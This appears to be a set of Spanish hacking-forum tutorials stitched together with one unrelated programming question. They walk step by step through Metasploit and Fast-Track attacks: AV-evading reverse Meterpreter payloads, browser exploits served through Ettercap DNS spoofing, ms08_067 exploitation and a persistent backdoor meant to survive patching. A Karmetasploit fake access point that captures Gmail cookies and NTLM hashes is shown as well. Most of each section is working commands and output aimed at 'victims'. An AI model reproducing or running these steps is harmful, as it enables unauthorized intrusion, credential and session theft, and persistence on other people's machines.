************************************************************************ Fast-Track Command Line - Where it's OK to finish in under 3 minutes... ************************************************************************
**** MAKE SURE YOU INSTALL ALL THE DEPENDENCIES FIRST (setup.py) ****
Visit http://trac.thepentest.com for tutorials or to file a bug.
1. Update Menu 2. Autopwn Automated 3. MS-SQL Injector 4. MS-SQL Bruter 5. Binary to Hex Payload Generator 6. Mass Client-Side Attack 7. Exploits 8. SQLPwnage 9. Payload Generator 10. Changelog 11. Credits 12. About
The Metasploit Payload Generator is a simple tool to make it extremely easy to generate a payload and listener on the Metasploit framework. This does not actually exploit any systems, it will generate a metasploit payload for you and save it to an executable. You then need to someone get it on the remote server by yourself and get it to execute correctly.
This will also encode your payload to get past most AV and IDS/IPS.
Despues seleccionamos el PAYLOAD que queramos, en este caso usaré el 2. Windows Reverse_TCP Meterpreter
Código:
What payload do you want to generate:
Name: Description:
1. Windows Shell Reverse_TCP Spawn a command shell on victim and send back to attacker. 2. Windows Reverse_TCP Meterpreter Spawn a meterpreter shell on victim and send back to attacker. 3. Windows Reverse_TCP VNC DLL Spawn a VNC server on victim and send back to attacker. 4. Windows Bind Shell Execute payload and create an accepting port on remote system.
Enter choice (example 1-6): 2
Despues seleccionaremos el encoder a usar, recordad que los encoders son para un posible bypasseo de antivirus (Proximo Tutorial "Bypassear Antivirus con MSF"). Seleccionamos 2. shikata_ga_nai
Código:
Below is a list of encodings to try and bypass AV.
Select one of the below, Avoid_UTF8_tolower usually gets past them.
Despues nos pedira el LHOST, digitamos la Dirección IP a la cual queremos que reciba la sessión del Meterpreter.
Código:
Enter IP Address of the listener/attacker (reverse) or host/victim (bind shell): 192.168.142.137
Despues nos pedira el LPORT, digitamos el puerto para poner a la escucha.
Código:
Enter the port of the Listener: 1234
Ahora nos da la opcion a elegir entre una ShellCode o un Archivo ejecutable. Seleccionaré 1. Executable
Código:
Do you want to create an EXE or Shellcode
1. Executable 2. Shellcode
Enter your choice: 1
A payload has been created in this directory and is named 'payload.exe'. Enjoy!
Yá hemos creado un Archivo Ejecutable con un PAYLOAD, ademas de esta automatización, tambien podemos Automatizar el Auxiliary Multi/Handler. Así que digitamos Yes.
Código:
Do you want to start a listener to receive the payload yes or no: yes
Launching MSFCLI on 'exploit/multi/handler' with PAYLOAD='windows/meterpreter/reverse_tcp' Listening on IP: 192.168.142.137 on Local Port: 1234 Using encoding: ENCODING=shikata_ga_nai
*********************************************************************************************** [*] Please wait while we load the module tree... [*] Starting the payload handler... [*] Started reverse handler on port 1234
Como podemos, inicia automaticamente el multi/handler, ademas los parametros que insertamos anteriormente (LHOST, LPORT, Encode), ahora solo esperamos a que la victima ejecute el Archivo Ejecutable, para recibir la session del Meterpreter.
Fast-Track es un proyecto basado en Python de código abierto destinado a ayudar a los Pent-Test en un esfuerzo por identificar, explotar y además penetrar en una red.
Fast-Track utiliza una gran parte de la Metasploit Framework para terminar los ataques con éxito. Fast Track tiene una amplia variedad de ataques únicos que le permiten utilizar el marco de Metasploit a su máximo potencial.
Al momento de escanear y obtener resultados contundentes con el Scanner Nessus And/OrNmap, podremos hacer uso del Comando Autopwn, ahora que es lo que hace Autopwn Automation? Esto lo que hace es automatizar todos los pasos anteriores con tan solo poner la IP. Parece un poco Lammer, pero es una gran opción, al momento de realizar varios Test de Penetración en diferentes sistemas computacionales. Miremos.
Ejecutamos el Script Fast-Track.py y damos como parametros el modo para interactuar. Recordad:
-c(Command Line Mode)
-g(Web GUI Mode)
Código:
shellroot@shellroot-desktop:~/fasttrack$ sudo python ./fast-track.py [sudo] password for shellroot: Psyco not detected....Recommend installing it for increased speeds.
************************************************************************ Fast-Track Command Line - Where it's OK to finish in under 3 minutes... ************************************************************************
**** MAKE SURE YOU INSTALL ALL THE DEPENDENCIES FIRST (setup.py) ****
Visit http://trac.thepentest.com for tutorials or to file a bug.
1. Update Menu 2. Autopwn Automated 3. MS-SQL Injector 4. MS-SQL Bruter 5. Binary to Hex Payload Generator 6. Mass Client-Side Attack 7. Exploits 8. SQLPwnage 9. Payload Generator 10. Changelog 11. Credits 12. About
Se creará una "Base de Datos", de nombre Pentest, y se ejecutará el Nmap con el Parametro IP o Rango Asignado. Ahora hará uso del comando Autopwn y esperametros a que termine de verificar los Exploit que pueden ser ejecutados por las vulnerabilidades encontradas en el sistema. Por ultimo esperaremos que nos entregue las sessiones el Meterpreter.
Que tal, ando con una duda al crear una aplicacion, que lo unico que hace es comparar imagenes. Basicamente hace lo siguiente:
En 2 PictureBox tener la posibilidad de poner 2 Imagenes, al darle click en un Button, diga, Si son Iguales o no, y si se puede que diga por cuanto % es igual a la otra imagen.
Warning: This copy of the Metasploit Framework was last updated 27 days ago. We recommend that you update the framework at least every other day. For information on updating your copy of Metasploit, please see: http://dev.metasploit.com/redmine/projects/framework/wiki/Updating
msf > use windows/browser/ie_aurora msf exploit(ie_aurora) >
Miramos que opciones tiene y cuales son requeridos
Código:
msf exploit(ie_aurora) > show options
Module options:
Name Current Setting Required Description ---- --------------- -------- ----------- SRVHOST 0.0.0.0 yes The local host to listen on. SRVPORT 8080 yes The local port to listen on. SSL false no Negotiate SSL for incoming connections SSLVersion SSL3 no Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1) URIPATH no The URI to use for this exploit (default is random)
Exploit target:
Id Name -- ---- 0 Automatic
msf exploit(ie_aurora) >
Llenamos los parametros de SRVHOST, URIPATH y Seleccionamos el PAYLOAD.
Código:
msf exploit(ie_aurora) > set SRVHOST 192.168.0.2 SRVHOST => 192.168.0.2 msf exploit(ie_aurora) > set URIPATH / URIPATH => / msf exploit(ie_aurora) > set PAYLOAD windows/meterpreter/bind_tcp PAYLOAD => windows/meterpreter/bind_tcp msf exploit(ie_aurora) >
Lanzamos el Exploit y esperamos a que la victima ingrese a la URL.
Código:
msf exploit(ie_aurora) > exploit [*] Exploit running as background job. msf exploit(ie_aurora) > [*] Started bind handler [*] Using URL: http://192.168.0.2:8080/ [*] Server started.
Video:
Se debe a: a que cuando un usuario carga manualmente un sitio Web, código javascript especialmente conformado provoca una corrupción de memoria que en última instancia permite el acceso al sistema. Esta vulnerabilidad es extremadamente crítica, y el código lleva circulando libremente por Internet desde hace un par de días, lo que hace más que posible que el exploit, que en principio se diseñó para el robo de propiedad intelectual en un ataque segmentado contra grandes corporaciones, pueda estar explotándose de un modo más generalista.
Está infeccion permite la ejecución de codigo remoto, por medio del navegador. Para lograr nuestro objetivo, necesitamos tener instalado dentro de nuestro P.C, algunos componentes necesarios para la compilación y ejecución de alguns archivos.
Primero instalaremos el JDK de JAVA para la compilacion del codigo en JAVA para la ejecución del codigo remoto.
Nos movemos a la carpeta que acabamos de crear y bajamos el siguiente archivo http://spl0it.org/files/makeapplet.sh, no sin antes guardar el siguiente codigo como MSFcmd.java
Despues de ello, nos perdia una información para configurar nuestro certificado. Llenamos la informacion como queramos y al finalizar correctamente, se crearán los certificados del Script.
Código:
Enter the name of the applet without the extension: MSFcmd [+] Packaging the compiled class into a JAR file [+] Generating key pairs ¿Cuáles son su nombre y su apellido? [Unknown]: MSFcmd ¿Cuál es el nombre de su unidad de organización? [Unknown]: Microsoft ¿Cuál es el nombre de su organización? [Unknown]: Microsoft Organization ¿Cuál es el nombre de su ciudad o localidad? [Unknown]: Medellin ¿Cuál es el nombre de su estado o provincia? [Unknown]: Colombia ¿Cuál es el código de país de dos letras de la unidad? [Unknown]: CO ¿Es correcto CN=MSFcmd, OU=Microsoft, O=Microsoft Organization, L=Medellin, ST=Colombia, C=CO? [no]: si
[+] Signing the JAR file
Warning: The signer certificate will expire within six months. [+] Exporting the public key certificate Certificado almacenado en el archivo <mycertificate.cer> [+] Done
Deploy the JAR and certificate files. They should be deployed to a distribution directory on a Web server.
Ahora tenemos que copiar los archivos SignedMSFcmd.Jar y MSFcmd.Class dentro de la carpeta /var/www, despues de ello, iniciamos el Serividor Apache. Así:
Código:
shellroot@shellroot-desktop:~/JavaAppletInfect$ sudo cp SignedMSFcmd.jar /var/www shellroot@shellroot-desktop:~/JavaAppletInfect$ sudo cp MSFcmd.class /var/wwwshellroot@shellroot-desktop:~/JavaAppletInfect$ aparche2ctl start No command 'aparche2ctl' found, did you mean: Command 'apache2ctl' from package 'apache2.2-common' (main) aparche2ctl: command not found shellroot@shellroot-desktop:~/JavaAppletInfect$ apache2ctl start apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1 for ServerName (13)Permission denied: make_sock: could not bind to address [::]:80 (13)Permission denied: make_sock: could not bind to address 0.0.0.0:80 no listening sockets available, shutting down Unable to open logs shellroot@shellroot-desktop:~/JavaAppletInfect$
Despues de realizar todo lo anterior, precedemos a realizar un ejecutable con un PAYLOAD en este caso usaré windows/meterpreter/reverse_tcp
Código:
shellroot@shellroot-desktop:~$ cd msf3 shellroot@shellroot-desktop:~/msf3$ ./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.142.136 LPORT=1234 R | ./msfencode -t exe -o MSFcmd.exe [*] x86/shikata_ga_nai succeeded with size 318 (iteration=1)
shellroot@shellroot-desktop:~/msf3$
Movemos el ejecutable dentro de la carpeta /var/www y configuramos los permisos del archivo.
Ahora ingresamos a la Consola del Metasploit, y usamos el Auxiliar multi/handler, ingresamos los datos del PAYLOAD anterior con los mismo datos, y ejecutamos el exploit en segundo plano. Así:
[Ettercap + Metasploit] Suplantación de identidad por nombre de dominio [Spoofing] [Metasploit By: Shell Root]
Miremos que tal hacen un Duo Ettercap y Metasploit(Un Duo Letal... xD). Miremos como hacer una suplantación de nombre de dominio, para la ejecución inconciente de una URL infectada con un exploit del Metasploit, devolviendo una session del Meterpreter.
Primero instalemos el Ettercap: Esta herramienta esta dentro de los repositorios
Código:
shell@ShellRoot:~$ sudo apt-get install ettercap
Ahora entremos entraremos a la siguiente ruta /usr/share/ettercap/, donde se encuentra el archivo etter.dns. (En este archivo, incluiremos unas lineas). Lo abrimos así:
Código:
shell@ShellRoot:~$ sudo gedit /usr/share/ettercap/etter.dns [sudo] password for shell: *******
Buscamos la siguiente linea:
Código:
################################ # microsoft sucks ;) # redirect it to www.linux.org #
Y le agregamos:
Código:
* A 192.168.0.3:8080
Nota: El * para que cuando entre a cualquier URL se redireccione a la URL Infectada. Podemos poner el Host que deseemos si no quieren poner el *. : P
Ahora entramos el Metasploit y seleccionamos el exploit windows/browser/ani_loadimage_chunksize o windows/browser/ms09_002_memory_corruption
msf > use windows/browser/ani_loadimage_chunksize msf exploit(ani_loadimage_chunksize) >
Modificamos el parametro URIPATH para que no nos saque un Ramdom sino un Slash
Código:
msf exploit(ani_loadimage_chunksize) > set URIPATH / URIPATH => /
Ahora seleccionamos el PAYLOAD, en este caso windows/meterpreter/reverse_tcp
Código:
msf exploit(ani_loadimage_chunksize) > set PAYLOAD windows/meterpreter/reverse_tcp PAYLOAD => windows/meterpreter/reverse_tcp
Ingresamos el parametro LHOST
Código:
msf exploit(ani_loadimage_chunksize) > set LHOST 192.168.0.3 LHOST => 192.168.0.3
Miramos que todo esque bien y ejecutamos el exploit
Código:
msf exploit(ani_loadimage_chunksize) > show options
Module options:
Name Current Setting Required Description ---- --------------- -------- ----------- SRVHOST 0.0.0.0 yes The local host to listen on. SRVPORT 8080 yes The local port to listen on. SSL false no Negotiate SSL for incoming connections SSLVersion SSL3 no Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1) URIPATH / no The URI to use for this exploit (default is random)
Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC process yes Exit technique: seh, thread, process LHOST 192.168.0.3 yes The local address LPORT 4444 yes The local port
Exploit target:
Id Name -- ---- 0 (Automatic) IE6, IE7 and Firefox on Windows NT, 2000, XP, 2003 and Vista
msf exploit(ani_loadimage_chunksize) > exploit [*] Started reverse handler on port 4444 [*] Using URL: http://0.0.0.0:8080/ [*] Local IP: http://192.168.0.3:8080/ [*] Server started.
Ahora entramos a la shell e iniciamos el sniffer del ettercap
MS TCP Loopback interface Hardware MAC: 00:00:00:00:00:00 IP Address : 127.0.0.1 Netmask : 255.0.0.0
Adaptador Ethernet PCI AMD PCNET Family - Minipuerto del administrador de paquetes Hardware MAC: 00:0c:29:8f:90:c4 IP Address : 192.168.0.5 Netmask : 255.255.255.0
meterpreter >
Con esto damos por concluido el tutorial y ver el poder que tienen estas dos herramientas, si se usan conjuntamente. Esto es lo basico, esperen el resto... ;·)
msf > use exploit/windows/smb/ms08_067_netapi msf exploit(ms08_067_netapi) > set RHOST 172.16.83.128 RHOST => 172.16.83.128 msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/bind_tcp PAYLOAD => windows/meterpreter/bind_tcp msf exploit(ms08_067_netapi) > set LHOST 172.16.83.1 LHOST => 172.16.83.1 msf exploit(ms08_067_netapi) > exploit
[*] Started bind handler [*] Automatically detecting the target... [*] Fingerprint: Windows XP Service Pack 3 - lang:English [*] Selected Target: Windows XP SP3 English (NX) [*] Triggering the vulnerability... [*] Sending stage (723456 bytes) [*] Meterpreter session 3 opened (172.16.83.1:54745 -> 172.16.83.128:4444)
meterpreter >
Una vez conseguida, ejecutamos metsrv, que instalará como servicio un servidor de meterpreter en el host remoto.
Código:
meterpreter > run metsvc [*] Creating a meterpreter service on port 31337 [*] Creating a temporary installation directory C:\WINDOWS\TEMP\HdOFwlxzpobWuh... [*] >> Uploading metsrv.dll... [*] >> Uploading metsvc-server.exe... [*] >> Uploading metsvc.exe... [*] Starting the service... * Installing service metsvc * Starting service Service metsvc successfully installed.
Ahora, si queremos, podemos reiniciar el sistema remoto, aunque el servicio ya está corriendo.
Código:
meterpreter > reboot Rebooting... meterpreter >
Ahora, cuando se reinicie el host remoto, vamos a conectarnos al servicio de meterpreter que acabamos de instalar.
Para ello, usaremos el handler para que nos porte el exploit windows/metsvc_bind_tcp, lo configuraremos y nos conectaremos, como haré yo.
Código:
msf > use exploit/multi/handler msf exploit(handler) > set PAYLOAD windows/metsvc_bind_tcp PAYLOAD => windows/metsvc_bind_tcp msf exploit(handler) > show options
Module options:
Name Current Setting Required Description ---- --------------- -------- -----------
Payload options (windows/metsvc_bind_tcp):
Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC process yes Exit technique: seh, thread, process LPORT 4444 yes The local port RHOST no The target address
[*] Starting the payload handler... [*] Started bind handler [*] Meterpreter session 1 opened (172.16.83.1:42050 -> 172.16.83.128:31337)
meterpreter >
Y ya está! Esto nos viene bien por si el host remoto aplica un parche que corrija sus vulnerabilidades. Aunque parchee el sistema, nosotros tendremos acceso a su sistema a través de ese backdoor.
Y si queremos desinstar el metsvc en el host remoto para no dejar rastro, tan sólo tenemos que ejecutar metsvc -r en nuestra sesión de meterpreter.
Código:
meterpreter > run metsvc -r [*] Removing the existing Meterpreter service [*] Creating a temporary installation directory C:\WINDOWS\TEMP\QQqawIYOjLq... [*] >> Uploading metsvc.exe... [*] Stopping the service... * Stopping service metsvc * Removing service Service metsvc successfully removed.
meterpreter >
Y quedará metsvc completamente desinstalado sin perder la sesión que estamos utilizando (Por si cambiamos de idea xD)
Karmetasploit sirve para crear puntos de acceso falsos, capturar contraseñas, recopilar infomación, y llevar a los ataques de navegador contralos clientes. Resumiendo: Karmetasploit es una pasada.
CONFIGURACIÓN
Se necesita una pequeña instalación para poner en marcha Karmetasploit, el primer paso es obterner el plugin para nuestro Metasploit Framework.
Una vez descagado, necesitamos configurar un poco la infraestructura que necesitaremos. Cuando los cientes se conecten al AP falso que tenemos, estarán esperando que se les asigne una IP, por eso necesitamos un pequeño servidor DHCP, así que vamos a instalar dhcpd3-server y a configurarlo.
Found 4 processes that could cause trouble. If airodump-ng, aireplay-ng or airtun-ng stops working after a short period of time, you may want to kill (some of) them!
PID Name 878 avahi-daemon 879 avahi-daemon 1012 NetworkManager 1041 wpa_supplicant
Interface Chipset Driver
eth1 Unknown wl wlan0 Ralink 2573 USB rt73usb - [phy0] (monitor mode enabled on mon0)
root@trashhgoo:/home/trashhgoo/Hacklab#
Como sabréis, airmon-ng nos crea un dispositivo virtual en modo monitor, en este caso mon0, y es sobre el que vamos a levantar el AP.
Código:
root@trashhgoo:/home/trashhgoo/Hacklab# airbase-ng -P -C 30 -e "WIFI_GRATUITO" -v mon0 23:39:19 Created tap interface at0 23:39:19 Trying to set MTU on at0 to 1500 23:39:19 Trying to set MTU on mon0 to 1800 23:39:19 Access Point with BSSID 00:24:01:12:3E:A6 started.
Esto nos creó una interfaz nueva, que está trabajando como AP, en mi caso: at0
¿Qué hacemos ahora? Asignarle una IP y arrancar el servidor DHCP (Asignador de IP's automáticas, para el que no lo sepa) en él, así que abrimos otro shell, dejando el airbase-ng trabajando.
Código:
root@trashhgoo:/home/trashhgoo# ifconfig at0 up 10.0.0.1 netmask 255.255.255.0 root@trashhgoo:/home/trashhgoo# dhcpd3 -cf /etc/dhcp3/dhcpd.conf at0 Internet Systems Consortium DHCP Server V3.1.2 Copyright 2004-2008 Internet Systems Consortium. All rights reserved. For info, please visit http://www.isc.org/sw/dhcp/ Wrote 1 leases to leases file. Listening on LPF/at0/00:24:01:12:3e:a6/10.0.0/24 Sending on LPF/at0/00:24:01:12:3e:a6/10.0.0/24 Sending on Socket/fallback/fallback-net Can't create PID file /var/run/dhcpd.pid: Permission denied.
No le hagáis caso al "Permission denied", es sólo que no pudo crear un archivo (Este dhcpd3 es un protestón).
Pues ya está funcionando! Qué os parece? No es maravilloso?
No?
Bueno, pues entonces vamos a seguir, que hasta ahora sólo lo estábamos preparando.
UTILIZANDO KARMETASPLOIT
Si utilizáis metasploit 3.2, tenéis que guardar karma.rb en la carpeta donde está msfconsole, si usáis la 3.3, tenéis que estar en la carpeta donde lo tenéis guardado o asignar la carpeta donde lo tenemos guardado.
Código:
root@trashhgoo:/home/trashhgoo# cd Hacklab root@trashhgoo:/home/trashhgoo/Hacklab# ls karma.rc karma.rc
Lo tenéis? Pues vamos a poner en marcha el chiringuito con un sencillo comando.
Código:
msfconsole -r karma.rc
También podría haber puesto msfconsole -r /home/trashhgoo/Hacklab/karma.rc Y hala! A bailar! Ahora el propio msfconole es el que hará todo! Empezará a levantar servers, que no son más que trampas para los incautos que se conecten a nuestro AP. Cuando parezca que se para, pulsemos ENTER.
Código:
[*] Started reverse handler on port 3333 [*] Starting the payload handler... [*] Started reverse handler on port 6666
[*] --- Done, found 14 exploit modules
[*] Using URL: http://0.0.0.0:55550/ads [*] Local IP: http://77.209.92.221:55550/ads [*] Server started.
msf auxiliary(http) >
No os hacéis a una idea de la cantidad de exploits que tenemos cargados, a la espera de que algún incauto pique.
Y qué pasa si pican? Pues lo veremos ahora...
PICARON!!!!
Código:
[*] DNS 10.0.0.100:1276 XID 87 (IN::A www.msn.com) [*] DNS 10.0.0.100:1276 XID 87 (IN::A www.msn.com) [*] HTTP REQUEST 10.0.0.100 > www.msn.com:80 GET / Windows IE 5.01 cookies=MC1=V=3&GUID=e2eabc69be554e3587acce84901a53d3; MUID=E7E065776DBC40099851B16A38DB8275; mh=MSFT; CULTURE=EN-US; zip=z:68101|la:41.26|lo:-96.013|c:US|hr:1; FlightGroupId=14; FlightId=BasePage; hpsvr=M:5|F:5|T:5|E:5|D:blu|W:F; hpcli=W.H|L.|S.|R.|U.L|C.|H.; ushpwea=wc:USNE0363; wpv=2 [*] DNS 10.0.0.100:1279 XID 88 (IN::A adwords.google.com) [*] DNS 10.0.0.100:1279 XID 88 (IN::A adwords.google.com) [*] DNS 10.0.0.100:1280 XID 89 (IN::A blogger.com) [*] DNS 10.0.0.100:1280 XID 89 (IN::A blogger.com) [*] DNS 10.0.0.100:1289 XID 95 (IN::A gmail.com) [*] DNS 10.0.0.100:1289 XID 95 (IN::A gmail.com) [*] DNS 10.0.0.100:1289 XID 95 (IN::A gmail.com) [*] DNS 10.0.0.100:1292 XID 96 (IN::A gmail.google.com) [*] DNS 10.0.0.100:1292 XID 96 (IN::A gmail.google.com) [*] DNS 10.0.0.100:1292 XID 96 (IN::A gmail.google.com) [*] DNS 10.0.0.100:1292 XID 96 (IN::A gmail.google.com) [*] DNS 10.0.0.100:1292 XID 96 (IN::A gmail.google.com) [*] Request '/ads' from 10.0.0.100:1278 [*] Recording detection from User-Agent [*] DNS 10.0.0.100:1292 XID 96 (IN::A gmail.google.com) [*] Browser claims to be MSIE 5.01, running on Windows 2000 [*] DNS 10.0.0.100:1293 XID 97 (IN::A google.com) [*] Error: SQLite3::SQLException cannot start a transaction within a transaction /usr/lib/ruby/1.8/sqlite3/errors.rb:62:in `check'/usr/lib/ruby/1.8/sqlite3/ resultset.rb:47:in `check'/usr/lib/ruby/1.8/sqlite3/resultset.rb:39:in `commence'/usr/lib/ruby 1.8/sqlite3 [*] HTTP REQUEST 10.0.0.100 > ecademy.com:80 GET /forms.html Windows IE 5.01 cookies= [*] HTTP REQUEST 10.0.0.100 > facebook.com:80 GET /forms.html Windows IE 5.01 cookies= [*] HTTP REQUEST 10.0.0.100 > gather.com:80 GET /forms.html Windows IE 5.01 cookies= [*] HTTP REQUEST 10.0.0.100 > gmail.com:80 GET /forms.html Windows IE 5.01 cookies= [*] HTTP REQUEST 10.0.0.100 > gmail.google.com:80 GET /forms.html Windows IE 5.01 cookies=PREF=ID=474686c582f13be6:U=ecaec12d78faa1ba:TM=1241334857:LM=1241334880:S=snePRUjY- gcXpEV; NID=22=nFGYMj-l7FaT7qz3zwXjen9_miz8RDn_rA- lP_IbBocsb3m4eFCH6hI1ae23ghwenHaEGltA5hiZbjA2gk8i7m8u9Za718IFyaDEJRw0Ip1sT8uHHsJGTYfpAlne1vB8 [*] HTTP REQUEST 10.0.0.100 > google.com:80 GET /forms.html Windows IE 5.01 cookies=PREF=ID=474686c582f13be6:U=ecaec12d78faa1ba:TM=1241334857:LM=1241334880:S=snePRUjY zgcXpEV; NID=22=nFGYMj-l7FaT7qz3zwXjen9_miz8RDn_rA- lP_IbBocsb3m4eFCH6hI1ae23ghwenHaEGltA5hiZbjA2gk8i7m8u9Za718IFyaDEJRw0Ip1sT8uHHsJGTYfpAlne1vB8
Vale, vale, vale... Un momento! Vamos a ver! Qué es todo esto?
Bien, todo esto son los datos que nos está enviando nuestra pesca, y algo interesante es por ejemplo ese par de cookies que nos acaban de regalar.
Código:
[*] HTTP REQUEST 10.0.0.100 > gmail.google.com:80 GET /forms.html Windows IE 5.01 cookies=PREF=ID=474686c582f13be6:U=ecaec12d78faa1ba:TM=1241334857:LM=1241334880:S=snePRUjY zgcXpEV; NID=22=nFGYMj-l7FaT7qz3zwXjen9_miz8RDn_rA- lP_IbBocsb3m4eFCH6hI1ae23ghwenHaEGltA5hiZbjA2gk8i7m8u9Za718IFyaDEJRw0Ip1sT8uHHsJGTYfpAlne1vB8 [*] HTTP REQUEST 10.0.0.100 > google.com:80 GET /forms.html Windows IE 5.01 cookies=PREF=ID=474686c582f13be6:U=ecaec12d78faa1ba:TM=1241334857:LM=1241334880:S=snePRUjY- gcXpEV; NID=22=nFGYMj-l7FaT7qz3zwXjen9_miz8RDn_rA- lP_IbBocsb3m4eFCH6hI1ae23ghwenHaEGltA5hiZbjA2gk8i7m8u9Za718IFyaDEJRw0Ip1sT8uHHsJGTYfpAlne1vB8
SON PARA GMAIL!! Pues ya podemos acceder a su correo (Risa malévola, sonido de órgano y llamas infernales saliendo del suelo iluminando una sonrisa malvada).
Y aparte de esas pueden aparecernos muchas más, pero... Qué más puede pasar? Pues puede pasar que la pesca sea vulnerable a algún ataque, por lo que obtendríamos lo siguiente:
Código:
[*] Received 10.0.0.100:1362 TARGET\P0WN3D LMHASH:47a8cfba21d8473f9cc1674cedeba0fa6dc1c2a4dd904b72 NTHASH:ea389b305cd095d32124597122324fc470ae8d9205bdfc19 OS:Windows 2000 2195 LM:Windows 2000 5.0 [*] Authenticating to 10.0.0.100 as TARGET\P0WN3D... [*] HTTP REQUEST 10.0.0.100 > www.myspace.com:80 GET /forms.html Windows IE 5.01 cookies= [*] AUTHENTICATED as TARGETP0WN3D... [*] Connecting to the ADMIN$ share... [*] HTTP REQUEST 10.0.0.100 > www.plaxo.com:80 GET /forms.html Windows IE 5.01 cookies= [*] Regenerating the payload... [*] Uploading payload... [*] HTTP REQUEST 10.0.0.100 > www.ryze.com:80 GET /forms.html Windows IE 5.01 cookies= [*] HTTP REQUEST 10.0.0.100 > www.slashdot.org:80 GET /forms.html Windows IE 5.01 cookies= [*] HTTP REQUEST 10.0.0.100 > www.twitter.com:80 GET /forms.html Windows IE 5.01 cookies= [*] HTTP REQUEST 10.0.0.100 > www.xing.com:80 GET /forms.html Windows IE 5.01 cookies= [*] HTTP REQUEST 10.0.0.100 > www.yahoo.com:80 GET /forms.html Windows IE 5.01 cookies= [*] HTTP REQUEST 10.0.0.100 > xing.com:80 GET /forms.html Windows IE 5.01 cookies= [*] HTTP REQUEST 10.0.0.100 > yahoo.com:80 GET /forms.html Windows IE 5.01 cookies= [*] Created UxsjordQ.exe... [*] HTTP REQUEST 10.0.0.100 > ziggs.com:80 GET /forms.html Windows IE 5.01 cookies= [*] Connecting to the Service Control Manager... [*] HTTP REQUEST 10.0.0.100 > care.com:80 GET / Windows IE 5.01 cookies= [*] HTTP REQUEST 10.0.0.100 > www.gather.com:80 GET /forms.html Windows IE 5.01 cookies= [*] HTTP REQUEST 10.0.0.100 > www.ziggs.com:80 GET /forms.html Windows IE 5.01 cookies= [*] Obtaining a service manager handle... [*] Creating a new service... [*] Closing service handle... [*] Opening service... [*] Starting the service... [*] Transmitting intermediate stager for over-sized stage...(191 bytes) [*] Removing the service... [*] Closing service handle... [*] Deleting UxsjordQ.exe... [*] Sending Access Denied to 10.0.0.100:1362 TARGET\P0WN3D [*] Received 10.0.0.100:1362 LMHASH:00 NTHASH: OS:Windows 2000 2195 LM:Windows 2000 5.0 [*] Sending Access Denied to 10.0.0.100:1362 [*] Received 10.0.0.100:1365 TARGET\P0WN3D LMHASH:3cd170ac4f807291a1b90da20bb8eb228cf50aaf5373897d NTHASH:ddb2b9bed56faf557b1a35d3687fc2c8760a5b45f1d1f4cd OS:Windows 2000 2195 LM:Windows 2000 5.0 [*] Authenticating to 10.0.0.100 as TARGET\P0WN3D... [*] AUTHENTICATED as TARGETP0WN3D... [*] Ignoring request from 10.0.0.100, attack already in progress. [*] Sending Access Denied to 10.0.0.100:1365 TARGET\P0WN3D [*] Sending Apple QuickTime 7.1.3 RTSP URI Buffer Overflow to 10.0.0.100:1278... [*] Sending stage (2650 bytes) [*] Sending iPhone MobileSafari LibTIFF Buffer Overflow to 10.0.0.100:1367... [*] HTTP REQUEST 10.0.0.100 > www.care2.com:80 GET / Windows IE 5.01 cookies= [*] Sleeping before handling stage... [*] HTTP REQUEST 10.0.0.100 > www.yahoo.com:80 GET / Windows IE 5.01 cookies= [*] HTTP REQUEST 10.0.0.100 > yahoo.com:80 GET / Windows IE 5.01 cookies= [*] Uploading DLL (75787 bytes)... [*] Upload completed. [*] Migrating to lsass.exe... [*] Current server process: rundll32.exe (848) [*] New server process: lsass.exe (232) [*] Meterpreter session 1 opened (10.0.0.1:45017 -> 10.0.0.100:1364)
Pasar Resultado de escaneo de Nmap al MSF [Metasploit By: Shell Root]
En la practica anterior, pudimos observar como logramos pasar el resultado de un scanneo de Nessus, ahora veremos como hacer lo mismo, pero ahora con el scanner Nmap. Recordemos que realizamos este paso para un mejor y rapido acceso a los datos almacenados.
Primero que todo ingresemos a la consola del Metasploit. Despues crearemos una nueva base de datos, recordemos de eliminar la base de datos anteriores. Así:
msf > db_destroy [*] Deleting /home/shell/.msf3/sqlite3.db... msf > db_create [*] Creating a new database instance... [*] Successfully connected to the database [*] File: /home/shell/.msf3/sqlite3.db msf >
Ahora escaneemos algunas IP's con el Nmap y la guardamos dentro de un archivo XML. Para posteriormente leer el archivo desde el Metasploit.El archivo lo llamaremos: Prueba1
Starting Nmap 4.62 ( http://nmap.org ) at 2010-01-02 16:06 COT Initiating Ping Scan at 16:06 Scanning 256 hosts [1 port/host] Completed Ping Scan at 16:06, 1.03s elapsed (256 total hosts) Initiating Parallel DNS resolution of 256 hosts. at 16:06 Completed Parallel DNS resolution of 256 hosts. at 16:06, 13.01s elapsed Initiating Connect Scan at 16:06 Scanning 3 hosts [1715 ports/host] Discovered open port 80/tcp on 192.168.0.1 Completed Connect Scan against 192.168.0.1 in 1.48s (2 hosts left) Completed Connect Scan against 192.168.0.2 in 1.48s (1 host left) Completed Connect Scan at 16:06, 1.48s elapsed (5145 total ports) Initiating Service scan at 16:06 Scanning 1 service on 3 hosts Completed Service scan at 16:06, 5.00s elapsed (1 service on 3 hosts) SCRIPT ENGINE: Initiating script scanning. Initiating SCRIPT ENGINE at 16:06 Completed SCRIPT ENGINE at 16:06, 0.01s elapsed Host 192.168.0.1 appears to be up ... good. Interesting ports on 192.168.0.1: Not shown: 1714 closed ports PORT STATE SERVICE VERSION 80/tcp open tcpwrapped
Host 192.168.0.2 appears to be up ... good. All 1715 scanned ports on 192.168.0.2 are closed
Host 192.168.0.3 appears to be up ... good. All 1715 scanned ports on 192.168.0.3 are closed
Read data files from: /usr/share/nmap Service detection performed. Please report any incorrect results at http://nmap.org/submit/ . Nmap done: 256 IP addresses (3 hosts up) scanned in 20.856 seconds msf >
Despues miramos que opciones podemos ejecutar, Usando el comando Help... xD
